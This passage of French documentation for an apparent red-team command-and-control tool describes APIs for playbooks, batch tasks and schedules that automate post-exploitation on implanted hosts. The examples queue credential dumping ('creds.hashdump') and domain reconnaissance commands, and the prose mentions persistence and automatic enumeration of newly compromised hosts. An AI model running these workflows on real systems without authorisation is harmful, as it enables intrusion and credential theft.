Aller au contenu

Manuels de jeu

Les playbooks sont des flux de travail en plusieurs étapes définis par l'opérateur qui automatisent les séquences de techniques de beacon. Chaque playbook contient une liste ordonnée d'étapes : des étapes d'action qui mettent en file d'attente les tâches C2 et des étapes conditionnelles qui se branchent en fonction des métadonnées des beacons actifs. Lorsqu'il est exécuté sur un beacon, le moteur de playbook évalue les conditions en temps réel, sélectionne la branche appropriée, met en file d'attente toutes les tâches résultantes et enregistre chaque décision pour un examen post-opération.


Aperçu

Un playbook résout le problème de l’exécution répétée de la même séquence de techniques de post-exploitation sur plusieurs beacons. Au lieu d'émettre manuellement des commandes une par une, un opérateur définit un playbook une seule fois et l'exécute sur n'importe quelle beacon active.

Capacités clés :

  • Exécution d'étape ordonnée -- Étapes exécutées en séquence par leur champ order
  • Branchement conditionnel : les étapes peuvent créer une branche en fonction des propriétés du beacon (système d'exploitation, nom d'hôte, élévation de privilèges, architecture, etc.)
  • Conditions imbriquées -- Les étapes conditionnelles prennent en charge les modèles if/then/else et multi-branches (style commutateur), avec une profondeur d'imbrication arbitraire.
  • Journalisation des exécutions -- Chaque décision (quelle branche a été prise, quelles valeurs de condition ont été observées) est enregistrée
  • API CRUD complète - Créez, lisez, mettez à jour, supprimez et exécutez des playbooks via REST
flowchart TD
    A[Operator triggers playbook] --> B[Fetch playbook steps]
    B --> C{Step type?}
    C -->|action| D[Map technique to C2 task]
    D --> E[Enqueue task for beacon]
    E --> F[Log action step]
    C -->|conditional| G[Evaluate condition against beacon state]
    G -->|if/then/else| H{Condition true?}
    H -->|yes| I[Execute then steps]
    H -->|no| J[Execute else steps]
    G -->|multi-branch| K{Evaluate branches in order}
    K -->|match| L[Execute matched branch steps]
    K -->|no match| M[Execute else steps or skip]
    I --> F
    J --> F
    L --> F
    M --> F
    F --> N{More steps?}
    N -->|yes| C
    N -->|no| O[Return execution ID + task IDs]

Objet du livre de jeu

Un playbook est stocké dans la table c2_playbooks et renvoyé au format JSON à partir de tous les points de terminaison de l'API.

Champ Type Description
id chaîne (UUID) Identifiant unique du playbook
name chaîne Nom d'affichage
description chaîne Description facultative
steps Étape du livre de jeu[] Tableau ordonné d’actions et d’étapes conditionnelles
created_by chaîne (UUID) Opérateur qui a créé le playbook
created_at chaîne (ISO 8601) Horodatage de création
updated_at chaîne (ISO 8601) Horodatage de la dernière mise à jour

Types d'étapes

Chaque étape possède un champ type qui détermine son comportement. Les étapes sans champ type sont par défaut "action" pour une compatibilité ascendante.

Étapes d'action

Une étape d'action mappe un technique_id à une tâche C2 et le met en file d'attente pour le beacon cible. L'objet params est transmis au mappeur technique.

Champ Type Obligatoire Description
type chaîne Non "action" (par défaut si omis)
technique_id chaîne Oui Identifiant de la technique (par exemple, "exec.shell", "creds.hashdump", "privesc.getsystem")
params objet Non Paramètres spécifiques à la technique
order entier Oui Ordre d'exécution (exécutions inférieures en premier)
{
  "type": "action",
  "technique_id": "exec.shell",
  "params": { "command": "whoami /all" },
  "order": 1
}

Étapes conditionnelles

Une étape conditionnelle évalue les métadonnées du beacon au moment de l'exécution et passe à différentes sous-étapes en fonction du résultat. Deux modèles sont pris en charge :

  1. If/then/else -- Une seule condition avec des branches then et facultatives else
  2. Multi-branches (commutateur) -- Une liste ordonnée de branches nommées ; la première branche correspondante gagne, avec une solution de repli facultative else
Champ Type Obligatoire Description
type chaîne Oui Doit être "conditional"
order entier Oui Ordre d'exécution
conditional objet Oui La configuration conditionnelle (voir ci-dessous)

L'objet conditional :

Champ Type Obligatoire Description
condition Groupe de conditions Oui (si/alors/sinon) Condition principale à évaluer
then Étape du livre de jeu[] Oui (si/alors/sinon) Étapes à exécuter si la condition est vraie
else Étape du livre de jeu[] Non Étapes à exécuter si la condition est fausse ou si aucune branche ne correspond
branches Branche conditionnelle[] Non Liste multi-branches (évaluée dans l'ordre, premier match gagné)

Chaque ConditionalBranch :

Champ Type Obligatoire Description
name chaîne Oui Étiquette lisible par l'homme (utilisée dans les journaux d'exécution)
condition Groupe de conditions Oui État des branches
steps Étape du livre de jeu[] Oui Étapes à exécuter si cette branche correspond

État du moteur

Les conditions évaluent les métadonnées du beacon en direct au moment de l'exécution. Ils sont composés en groupes à l'aide de combinateurs booléens.

Champs de condition

Les champs de métadonnées de beacon suivants peuvent être référencés dans des conditions :

Champ Type Description
elevated booléen Si le beacon fonctionne avec des privilèges élevés
os chaîne Système d'exploitation (par exemple, "Windows 10 Pro 19045")
hostname chaîne Nom d'hôte de la machine
username chaîne Utilisateur actuel (par exemple, "CORP\\jsmith")
pid entier ID de processus de beacon
arch chaîne Architecture ("x64" ou "x86")
sleep entier Intervalle de sommeil actuel en millisecondes
jitter entier Pourcentage de gigue actuel
tags chaîne[] Beacons attribuées par l'opérateur
ip chaîne Adresse IP du beacon
note chaîne Note de l'opérateur

Opérateurs

Les opérateurs de comparaison disponibles dépendent du type de champ :

Opérateur Description
== Égalité exacte
!= Pas égal
contains Correspondance de sous-chaîne
not_contains Exclusion de sous-chaîne
matches Correspondance d'expression régulière
in La valeur est dans une liste fournie
Opérateur Description
== Égal
!= Pas égal
> Plus grand que
< Moins de
>= Supérieur ou égal
<= Inférieur ou égal
Opérateur Description
== Égal
!= Pas égal
Opérateur Description
contains La tranche contient une valeur
not_contains La tranche ne contient pas de valeur

Groupes de conditions

Les conditions sont composées en groupes avec des combinateurs booléens :

Opérateur de groupe Description
and Toutes les conditions et sous-groupes doivent être vrais (par défaut si omis)
or Au moins une condition ou un sous-groupe doit être vrai
not Annule exactement une condition ou un sous-groupe

Les groupes peuvent être imbriqués pour créer des expressions booléennes arbitrairement complexes :

{
  "operator": "and",
  "conditions": [
    { "field": "elevated", "operator": "==", "value": false }
  ],
  "groups": [
    {
      "operator": "or",
      "conditions": [
        { "field": "os", "operator": "contains", "value": "Windows 10" },
        { "field": "os", "operator": "contains", "value": "Windows 11" }
      ]
    }
  ]
}

Cela donne : le beacon n'est pas élevée ET (le système d'exploitation contient "Windows 10" OU le système d'exploitation contient "Windows 11").

Groupes vides

Un groupe de conditions vide (pas de conditions, pas de sous-groupes) est évalué à true (vérité vide de sens). L'opérateur de groupe par défaut est "and" lorsqu'il est omis.


Référence API

Tous les points de terminaison du playbook se trouvent sous le groupe de routes du cockpit et nécessitent une authentification JWT.

Chemin de base : /api/v1/cockpit/playbooks

Créer un manuel de jeu

POST /api/v1/cockpit/playbooks

Corps de la demande :

Champ Type Obligatoire Description
name chaîne Oui Nom du manuel
description chaîne Non Description
steps Étape du livre de jeu[] Oui Tableau d'objets étape
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Initial Recon",
    "description": "Basic host reconnaissance playbook",
    "steps": [
      {
        "type": "action",
        "technique_id": "exec.shell",
        "params": { "command": "whoami /all" },
        "order": 1
      },
      {
        "type": "action",
        "technique_id": "exec.shell",
        "params": { "command": "ipconfig /all" },
        "order": 2
      },
      {
        "type": "action",
        "technique_id": "exec.shell",
        "params": { "command": "net localgroup administrators" },
        "order": 3
      }
    ]
  }'

Réponse (201 créées) :

{
  "id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
  "name": "Initial Recon",
  "description": "Basic host reconnaissance playbook",
  "steps": [...],
  "created_by": "00000000-0000-0000-0000-000000000000",
  "created_at": "2026-02-21T10:00:00Z",
  "updated_at": "2026-02-21T10:00:00Z"
}

Liste des manuels de jeu

GET /api/v1/cockpit/playbooks

Renvoie tous les playbooks classés par date de création (le plus récent en premier).

curl -s https://stentor.app/api/v1/cockpit/playbooks \
  -H "Authorization: Bearer $TOKEN"

Obtenir le manuel de jeu

GET /api/v1/cockpit/playbooks/:id

curl -s https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
  -H "Authorization: Bearer $TOKEN"

Mettre à jour le manuel de jeu

PUT /api/v1/cockpit/playbooks/:id

Corps de la demande : Identique à Créer (tous les champs sont obligatoires).

curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Initial Recon v2",
    "description": "Updated reconnaissance playbook",
    "steps": [...]
  }'

Supprimer le livre de jeu

DELETE /api/v1/cockpit/playbooks/:id

curl -s -X DELETE https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID \
  -H "Authorization: Bearer $TOKEN"

Réponse : 204 No Content

Exécuter le manuel de jeu

POST /api/v1/cockpit/playbooks/:id/execute

Exécute le playbook contre un beacon cible. Les étapes conditionnelles sont évaluées à l’aide des métadonnées de beacon en direct du registre de beacons. Toutes les tâches résultantes sont mises en file d'attente et renvoyées.

Corps de la demande :

Champ Type Obligatoire Description
beacon_id chaîne (UUID) Oui Beacon cible sur laquelle exécuter
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/execute \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890"}'

Réponse (202 acceptées) :

{
  "playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
  "beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
  "execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
  "task_ids": [
    "11111111-2222-3333-4444-555555555555",
    "66666666-7777-8888-9999-aaaaaaaaaaaa",
    "bbbbbbbb-cccc-dddd-eeee-ffffffffffff"
  ],
  "status": "queued"
}

Le beacon doit être active

Le beacon cible doit exister dans le registre des beacons actifs (c'est-à-dire que l'implant doit s'être enregistré au moins une fois). L'exécution sur un ID de beacon qui ne figure pas dans le registre renvoie une erreur.

Réponses aux erreurs :

Statut Corps Parce que
400 {"error": "invalid playbook ID"} UUID malformé
400 {"error": "invalid beacon_id format"} UUID de beacon mal formé
500 {"error": "beacon ... not found in registry"} Beacon non active
500 {"error": "get playbook: ..."} Livre de jeu introuvable

Liste des exécutions

GET /api/v1/cockpit/playbooks/:id/executions

Renvoie les entrées récentes du journal d’exécution pour un playbook. Chaque entrée représente une décision en une étape (action mise en file d'attente ou branchement conditionnel effectué).

Paramètres de requête :

Paramètre Type Par défaut Description
limit entier 20 Nombre maximum d'entrées de journal à renvoyer
curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions?limit=50" \
  -H "Authorization: Bearer $TOKEN"

Obtenir les journaux d'exécution

GET /api/v1/cockpit/playbooks/:id/executions/:executionId/logs

Renvoie des journaux de décision détaillés pour une exécution spécifique, classés par ordre d'étape et heure de création.

curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions/$EXECUTION_ID/logs" \
  -H "Authorization: Bearer $TOKEN"

Réponse (200 OK) :

[
  {
    "id": "aaa11111-bbbb-cccc-dddd-eeeeeeeeeeee",
    "playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
    "execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
    "beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "step_order": 1,
    "step_type": "action",
    "branch_taken": null,
    "condition_values": null,
    "condition_result": null,
    "task_ids": ["11111111-2222-3333-4444-555555555555"],
    "created_at": "2026-02-21T10:01:00Z"
  },
  {
    "id": "bbb22222-cccc-dddd-eeee-ffffffffffff",
    "playbook_id": "c3d4e5f6-a1b2-7890-abcd-ef1234567890",
    "execution_id": "f7e8d9c0-b1a2-3456-7890-abcdef123456",
    "beacon_id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
    "step_order": 2,
    "step_type": "conditional",
    "branch_taken": "then",
    "condition_values": { "elevated": false, "os": "Windows 10 Pro 19045" },
    "condition_result": true,
    "task_ids": ["66666666-7777-8888-9999-aaaaaaaaaaaa"],
    "created_at": "2026-02-21T10:01:01Z"
  }
]

Champs du journal d'exécution

Chaque entrée du journal d'exécution enregistre le résultat d'une évaluation en une seule étape.

Champ Type Description
id chaîne (UUID) ID d'entrée de journal
playbook_id chaîne (UUID) Manuel de jeu pour les parents
execution_id chaîne (UUID) Regroupe toutes les entrées d'une exécution
beacon_id chaîne (UUID) Beacon cible
step_order entier Quelle étape du playbook
step_type chaîne "action" ou "conditional"
branch_taken chaîne ou null Pour les conditions : "then", "else", un nom de branche ou "none" (ignoré)
condition_values objet ou nul Instantané des valeurs des champs de beacon utilisées dans l'évaluation de l'état
condition_result booléen ou nul Si la condition est évaluée comme vraie
task_ids chaîne[] ID de tâche C2 mis en file d'attente à cette étape
created_at chaîne (ISO 8601) Quand cette étape a été évaluée

Exemples

Playbook conditionnel : reconnaissance sensible aux privilèges

Ce playbook vérifie si le beacon est surélevée et exécute différentes techniques en conséquence :

curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "Privilege-Aware Recon",
    "description": "Runs elevated or standard recon based on beacon integrity level",
    "steps": [
      {
        "type": "action",
        "technique_id": "exec.shell",
        "params": { "command": "whoami /priv" },
        "order": 1
      },
      {
        "type": "conditional",
        "order": 2,
        "conditional": {
          "condition": {
            "operator": "and",
            "conditions": [
              { "field": "elevated", "operator": "==", "value": true }
            ]
          },
          "then": [
            {
              "type": "action",
              "technique_id": "creds.hashdump",
              "params": {},
              "order": 1
            },
            {
              "type": "action",
              "technique_id": "exec.shell",
              "params": { "command": "netstat -ano" },
              "order": 2
            }
          ],
          "else": [
            {
              "type": "action",
              "technique_id": "exec.shell",
              "params": { "command": "net user %USERNAME% /domain" },
              "order": 1
            }
          ]
        }
      }
    ]
  }'

Playbook multi-branches : actions spécifiques au système d'exploitation

Ce playbook utilise le modèle multi-branches pour exécuter différentes étapes en fonction du système d'exploitation du beacon :

{
  "name": "OS-Specific Collection",
  "description": "Runs collection techniques based on target OS",
  "steps": [
    {
      "type": "conditional",
      "order": 1,
      "conditional": {
        "condition": { "operator": "and", "conditions": [] },
        "then": [],
        "branches": [
          {
            "name": "Windows 10",
            "condition": {
              "operator": "and",
              "conditions": [
                { "field": "os", "operator": "contains", "value": "Windows 10" }
              ]
            },
            "steps": [
              {
                "type": "action",
                "technique_id": "exec.shell",
                "params": { "command": "systeminfo" },
                "order": 1
              }
            ]
          },
          {
            "name": "Windows Server",
            "condition": {
              "operator": "and",
              "conditions": [
                { "field": "os", "operator": "contains", "value": "Server" }
              ]
            },
            "steps": [
              {
                "type": "action",
                "technique_id": "exec.shell",
                "params": { "command": "nltest /dclist:" },
                "order": 1
              }
            ]
          }
        ],
        "else": [
          {
            "type": "action",
            "technique_id": "exec.shell",
            "params": { "command": "hostname" },
            "order": 1
          }
        ]
      }
    }
  ]
}

Ordonnance d'évaluation de la succursale

En mode multi-branches, les branches sont évaluées dans l'ordre du tableau. La première branche dont la condition est évaluée à true est exécutée. Si aucune branche ne correspond, les étapes else s'exécutent (si fournies). S'il n'y a pas de else, l'étape est ignorée et enregistrée avec branch_taken: "none".


Intégration de l'interface utilisateur

La page Playbooks (/playbooks) fournit une interface visuelle pour la gestion des playbooks :

  • Grille de cartes - Chaque playbook est affiché sous forme de carte indiquant le nom, la description, le nombre d'étapes et un badge « Conditionnel » si une étape utilise des branchements.
  • Exécuter - Sélectionnez un beacon active dans la liste déroulante et cliquez sur le bouton de lecture pour l'exécuter.
  • Historique – Cliquez sur "Historique" pour afficher les exécutions passées regroupées par ID d'exécution.
  • Journaux d'exécution : explorez n'importe quelle exécution pour consulter les journaux de décision étape par étape (quelles branches ont été prises, quelles valeurs de condition ont été observées).
  • Créer/Modifier : PlaybookDialog prend en charge l'ajout d'actions et d'étapes conditionnelles avec un éditeur de conditions visuelles.

Références croisées

  • Référence de l'API REST – Les points de terminaison du Playbook sont répertoriés dans la section Cockpit.
  • Commandes Beacon -- Les techniques référencées par technique_id dans les étapes du playbook
  • Scripting -- Les scripts CNA peuvent également automatiser les flux de travail des beacons via des hooks d'événements

Exécution par lot

Les tâches par lot vous permettent d'exécuter une même définition de tâche sur plusieurs beacons simultanément. Le backend distribue la tâche à chaque beacon cible en parallèle, suit la progression par beacon et agrège les résultats dans un enregistrement de lot unique. C'est le mécanisme principal pour exécuter des commandes de post-exploitation à grande échelle -- par exemple, exécuter whoami /all sur chaque poste de travail Windows d'un groupe, ou déployer un mécanisme de persistance sur tous les beacons correspondant à un filtre de nom d'hôte.

Ciblage des beacons

Il existe deux méthodes mutuellement exclusives pour spécifier quels beacons reçoivent la tâche par lot : les identifiants de beacon explicites ou le ciblage par filtre.

Sélection explicite

Sélectionnez des beacons spécifiques en passant leurs UUID dans le tableau beacon_ids. Dans l'interface, utilisez shift-clic ou ctrl-clic sur les beacons dans le tableau du cockpit pour en sélectionner plusieurs, puis faites un clic droit et choisissez « Tâche par lot ».

curl -s -X POST https://stentor.app/api/v1/c2/batch-tasks \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "beacon_ids": [
      "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
      "b2c3d4e5-f6a1-8901-bcde-f12345678901"
    ],
    "task": {
      "type": "exec.shell",
      "data": {"command": "whoami /all"}
    }
  }'

Ciblage par filtre

Au lieu d'identifiants explicites, passez un objet filter et le backend résout les beacons correspondants depuis le registre actif au moment de l'exécution. Tous les champs de filtre utilisent une correspondance de sous-chaîne insensible à la casse.

Champ du filtre Type Description
os chaîne Correspond aux beacons dont le système d'exploitation contient cette sous-chaîne (par ex., "Windows 10")
hostname chaîne Correspond aux beacons dont le nom d'hôte contient cette sous-chaîne (par ex., "WS")
username chaîne Correspond aux beacons dont le nom d'utilisateur contient cette sous-chaîne (par ex., "admin")
group_id chaîne (UUID) Correspond aux beacons appartenant au groupe spécifié
curl -s -X POST https://stentor.app/api/v1/c2/batch-tasks \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": {
      "os": "Windows 10",
      "hostname": "WS"
    },
    "task": {
      "type": "exec.shell",
      "data": {"command": "ipconfig /all"}
    }
  }'
curl -s -X POST https://stentor.app/api/v1/c2/batch-tasks \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "filter": {
      "group_id": "d4e5f6a1-b2c3-4567-8901-abcdef123456"
    },
    "task": {
      "type": "creds.hashdump",
      "data": {}
    }
  }'

Ciblage par groupe

Utilisez le filtre group_id pour cibler tous les beacons d'un groupe nommé. Les groupes peuvent être gérés depuis l'interface du cockpit ou via l'API de groupement de beacons. Voir Groupement de beacons pour plus de détails sur la création et la gestion des groupes.

Mutuellement exclusif

beacon_ids et filter ne peuvent pas être utilisés ensemble dans la même requête. Si les deux sont fournis, l'API renvoie une erreur : "beacon_ids and filter are mutually exclusive".

Objet tâche par lot

Un enregistrement de tâche par lot suit le travail global et est stocké dans la table batch_tasks.

Champ Type Description
id chaîne (UUID) Identifiant unique de la tâche par lot
task_type chaîne Le type de tâche distribué à chaque beacon (par ex., "exec.shell")
task_data objet Les données/paramètres de la tâche passés à chaque beacon
status chaîne Statut global du lot : "pending", "running", ou "completed"
total_count entier Nombre total de beacons ciblés
completed_count entier Nombre de beacons ayant terminé la tâche
failed_count entier Nombre de beacons en échec
created_by chaîne (UUID) Opérateur ayant créé la tâche par lot
created_at chaîne (ISO 8601) Horodatage de création
completed_at chaîne (ISO 8601) ou null Horodatage de fin de tous les éléments (null en cours d'exécution)

Chaque beacon dans le lot possède un BatchTaskItem correspondant :

Champ Type Description
id chaîne (UUID) Identifiant de l'élément
batch_id chaîne (UUID) Tâche par lot parente
beacon_id chaîne (UUID) Beacon cible
task_id chaîne (UUID) ou null L'identifiant de tâche C2 créé pour ce beacon (null si pas encore distribué)
status chaîne Statut par beacon : "pending", "dispatched", "completed", ou "failed"
output chaîne ou null Sortie de la tâche du beacon
error chaîne ou null Message d'erreur si la tâche a échoué
created_at chaîne (ISO 8601) Date de création de l'élément
completed_at chaîne (ISO 8601) ou null Date de fin de l'élément

Suivi de la progression

La progression des tâches par lot est suivie selon un modèle de synchronisation à la lecture. Lorsque vous récupérez une tâche par lot, le backend interroge la table c2_tasks sous-jacente pour tout élément distribué ayant depuis été complété ou échoué, et met à jour les éléments du lot en conséquence avant de renvoyer la réponse.

API : GET /api/v1/c2/batch-tasks/:id renvoie la tâche par lot avec tous ses éléments et statuts synchronisés.

curl -s https://stentor.app/api/v1/c2/batch-tasks/$BATCH_ID \
  -H "Authorization: Bearer $TOKEN"

Réponse :

{
  "id": "f1e2d3c4-b5a6-7890-abcd-ef1234567890",
  "task_type": "exec.shell",
  "task_data": {"command": "whoami /all"},
  "status": "running",
  "total_count": 5,
  "completed_count": 3,
  "failed_count": 1,
  "created_by": "00000000-0000-0000-0000-000000000000",
  "created_at": "2026-02-21T10:00:00Z",
  "completed_at": null,
  "items": [
    {
      "id": "aaa11111-...",
      "beacon_id": "a1b2c3d4-...",
      "task_id": "11111111-...",
      "status": "completed",
      "output": "USER INFORMATION\n----------------\nCORP\\jsmith ...",
      "error": null,
      "completed_at": "2026-02-21T10:00:05Z"
    },
    {
      "id": "bbb22222-...",
      "beacon_id": "b2c3d4e5-...",
      "task_id": "22222222-...",
      "status": "dispatched",
      "output": null,
      "error": null,
      "completed_at": null
    }
  ]
}

Dans l'interface, le BatchProgressPanel affiche une barre de progression avec des indicateurs de statut par beacon. Chaque élément montre le nom d'hôte du beacon cible, le statut actuel de la tâche, la durée d'exécution et un aperçu de la sortie.

Résultats agrégés

Lorsque tous les éléments d'un lot ont été complétés ou ont échoué, le status du lot passe à "completed" et l'horodatage completed_at est défini. Le tableau items dans la réponse contient la sortie complète par beacon.

Chaque élément des résultats inclut :

Champ Description
beacon_id UUID du beacon cible
status "completed" ou "failed"
output Sortie complète de la tâche du beacon
error Message d'erreur (si échec, ou erreur non fatale accompagnant la sortie)
completed_at Date de fin de la tâche de ce beacon

Dans l'interface, la vue des résultats affiche des panneaux de sortie repliables par beacon. Chaque panneau affiche le nom d'hôte du beacon et la sortie, avec un bouton de copie dans le presse-papiers pour une extraction facile.

Filtrage des résultats

Interrogez le point de terminaison de la tâche par lot et inspectez le champ status de chaque élément pour filtrer par résultat. Par exemple, pour trouver uniquement les beacons en échec, filtrez les éléments où status == "failed" afin d'identifier et résoudre rapidement les problèmes.

Référence API des tâches par lot

Tous les points de terminaison des tâches par lot se trouvent sous le groupe de routes C2 et nécessitent une authentification JWT.

Chemin de base : /api/v1/c2/batch-tasks

Méthode Point de terminaison Description
POST /api/v1/c2/batch-tasks Créer et exécuter une tâche par lot
GET /api/v1/c2/batch-tasks Lister les tâches par lot récentes (jusqu'à 50)
GET /api/v1/c2/batch-tasks/:id Obtenir une tâche par lot avec ses éléments et statuts synchronisés

Réponse de création (201 Created) :

{
  "id": "f1e2d3c4-b5a6-7890-abcd-ef1234567890",
  "total": 5,
  "dispatched": 4,
  "failed": 1,
  "errors": ["beacon b2c3d4e5-...: beacon not active"]
}

Le compteur dispatched indique combien de beacons ont reçu la tâche avec succès. Le compteur failed et le tableau errors signalent les beacons qui n'ont pas pu être atteints (par ex., le beacon n'est plus actif dans le registre).


Playbooks planifiés

Les playbooks planifiés automatisent l'exécution des playbooks selon des horaires basés sur le temps ou des déclencheurs basés sur des événements, sans intervention manuelle. Au lieu de cliquer manuellement sur « Exécuter » à chaque fois, un opérateur configure un planning et le système exécute le playbook automatiquement aux heures spécifiées ou lorsque des événements spécifiques se produisent (comme l'enregistrement d'un nouveau beacon).

Types de planification

Chaque planification possède un schedule_type qui détermine quand elle se déclenche :

Type de planification Description Paramètres clés
once Exécuter à un moment futur spécifique next_run_at (horodatage ISO 8601)
interval Exécuter toutes les N secondes interval_seconds (entier)
daily Exécuter quotidiennement à une heure spécifique cron_expression (par ex., "0 9 * * *" pour 9h quotidiennement)
weekly Exécuter hebdomadairement un jour/heure spécifique cron_expression (par ex., "0 9 * * 1" pour lundi 9h)

Les planifications Once sont utiles pour les fenêtres de maintenance ou les opérations différées -- par exemple, planifier un playbook de récolte de credentials pour s'exécuter à 2h du matin pendant une fenêtre de changement.

Les planifications Interval s'exécutent de manière répétée à une cadence fixe. Par exemple, interval_seconds: 14400 exécute le playbook toutes les 4 heures.

Les planifications Daily et Weekly utilisent des expressions cron standard pour un contrôle précis du timing.

Exécution basée sur les déclencheurs

En plus de la planification basée sur le temps, les playbooks peuvent être déclenchés par des événements en utilisant le champ trigger_type.

on_beacon_initial -- Exécuter automatiquement le playbook lorsqu'un nouveau beacon s'enregistre pour la première fois. C'est extrêmement utile pour les playbooks de reconnaissance initiale qui exécutent des commandes d'énumération standard (whoami, ipconfig, net user, etc.) sur chaque hôte nouvellement compromis sans intervention de l'opérateur.

Lorsque trigger_type est défini sur "on_beacon_initial", la planification se déclenche sur les événements de nouveaux beacons au lieu des déclencheurs basés sur le temps. Les champs schedule_type et next_run_at sont toujours requis mais servent de paramètres de planification de repli.

Limitation de débit

Si de nombreux beacons s'enregistrent simultanément (par exemple, après le déploiement d'un payload sur plusieurs hôtes), chaque beacon obtient sa propre exécution indépendante du playbook. Surveillez les journaux d'exécution pendant les déploiements de masse pour éviter de surcharger le canal C2.

Création de planifications

API : POST /api/v1/cockpit/playbooks/:id/schedules

curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule_type": "daily",
    "cron_expression": "0 9 * * *",
    "trigger_type": "scheduled",
    "next_run_at": "2026-02-22T09:00:00Z",
    "beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
  }'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule_type": "interval",
    "interval_seconds": 14400,
    "trigger_type": "scheduled",
    "next_run_at": "2026-02-21T14:00:00Z",
    "beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
  }'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule_type": "once",
    "trigger_type": "scheduled",
    "next_run_at": "2026-02-22T02:00:00Z",
    "beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
  }'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule_type": "weekly",
    "cron_expression": "0 9 * * 1",
    "trigger_type": "scheduled",
    "next_run_at": "2026-02-24T09:00:00Z",
    "beacon_ids": ["a1b2c3d4-e5f6-7890-abcd-ef1234567890"]
  }'
curl -s -X POST https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "schedule_type": "once",
    "trigger_type": "on_beacon_initial",
    "next_run_at": "2026-12-31T23:59:59Z"
  }'

Flux de l'interface : Dans la page Playbooks, cliquez sur le bouton « Planifier » sur n'importe quelle carte de playbook pour ouvrir le PlaybookScheduleDialog. Sélectionnez le type de planification, configurez les paramètres (expression cron, intervalle, heure cible), choisissez les beacons cibles et basculez le commutateur d'activation.

Gestion des planifications

Lister les planifications

GET /api/v1/cockpit/playbooks/:id/schedules

Renvoie toutes les planifications d'un playbook.

curl -s https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules \
  -H "Authorization: Bearer $TOKEN"

Mettre à jour une planification

PUT /api/v1/cockpit/playbooks/:id/schedules/:scheduleId

Modifier les paramètres de planification ou activer/désactiver une planification sans la supprimer.

# Désactiver une planification
curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"enabled": false}'
# Mettre à jour l'expression cron
curl -s -X PUT https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cron_expression": "0 6 * * *"}'

Supprimer une planification

DELETE /api/v1/cockpit/playbooks/:id/schedules/:scheduleId

Supprime définitivement une planification.

curl -s -X DELETE https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/schedules/$SCHEDULE_ID \
  -H "Authorization: Bearer $TOKEN"

Réponse : 204 No Content

Journaux d'exécution et badges de déclenchement

Les exécutions planifiées apparaissent dans le même journal d'exécution que les exécutions manuelles. Chaque entrée de journal inclut un champ trigger_type indiquant comment l'exécution a été déclenchée :

Badge de déclenchement Valeur Description
Manuel "manual" L'opérateur a cliqué sur Exécuter dans l'interface ou a appelé directement l'API d'exécution
Planifié "scheduled" L'exécution a été déclenchée par une planification basée sur le temps
Beacon initial "on_beacon_initial" L'exécution a été déclenchée par l'enregistrement d'un nouveau beacon

API : GET /api/v1/cockpit/playbooks/:id/executions inclut le champ trigger_type dans chaque entrée d'exécution. Utilisez ce champ pour filtrer les journaux d'exécution par type de déclenchement.

curl -s "https://stentor.app/api/v1/cockpit/playbooks/$PLAYBOOK_ID/executions?limit=50" \
  -H "Authorization: Bearer $TOKEN"

Dans l'interface, les entrées de l'historique d'exécution affichent un badge de déclenchement coloré à côté de l'horodatage d'exécution, facilitant la distinction entre les exécutions manuelles et automatisées d'un coup d'oeil.

Objet de planification

